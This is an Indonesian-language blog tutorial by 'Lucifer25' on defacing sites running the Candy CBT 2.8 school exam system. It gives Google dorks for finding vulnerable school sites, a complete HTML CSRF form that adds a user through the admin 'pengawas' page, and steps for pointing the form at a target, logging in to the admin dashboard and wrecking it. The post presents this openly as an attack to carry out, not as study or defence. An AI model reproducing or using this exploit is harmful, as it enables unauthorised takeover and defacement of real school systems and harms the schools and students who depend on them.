TUTORIAL EXPLOIT CANDY CBT 2.8 ADD USER WITH CSRF
TUTORIAL DEFACE EXPLOIT CANDY CBT 2.8 ADD USER WITH CSRF
Upload By Lucifer25
Assalamualaikum hallo guys gw lucifer25 mau memberikan tutorial atau edukasi deface exploit candy cbt 2.8 add user with csrf
Bahan:
-Hp/Pc
-Dork
-Exploit
-Csrf
Dork:
- "powered by candy v2.8.0"
- inurl:cbt candy intext:responsive image
- intext:Support By Candy CBT v2.8.0 r3
- "responsive image" "support" intitle:login
- inurl:login cbt site:sch.id
KEMBANGIN LAGI!!
Csrf:
===================
<html>
<head></head>
<body>
<form action="https://target.sch.id/admin/?pg=pengawas" method="post">
<label>nip</label>
<input type="text" name="nip" value="123761717" required="true" />
<br>
<label>nama</label>
<input type="text" name="nama" required="true" />
<br>
<label>username</label>
<input type="text" name="username" required="true" />
<br>
<label>password</label>
<input type="password" name="pass1" required="true" />
<br>
<label>ulang password</label>
<input type="password" name="pass2" required="true" />
<br>
<button type="submit" name="submit">simpan</button>
</form>
</body>
</html>
==============================================
1. PERTAMA KALIAN CARI TARGET MENGGUNAKAN DORK DI ATAS
2. KALIAN BUKA FILE CSRF KALIAN TERUS EDIT DI BAGIAN FORM ACTION UBAH MENJADI URL TARGET KALIAN
4. LANJUT KALIAN LOGIN AJA USER YANG UDAH KALIAN BIKIN
5. DAN YAP KALIAN BERHASIL LOGIN KE DASHBOARD ADMIN DISINI KALIAN BEBAS NGAPAIN DI ACAK ACAK JUGA GAPAPA😂
Komentar
Posting Komentar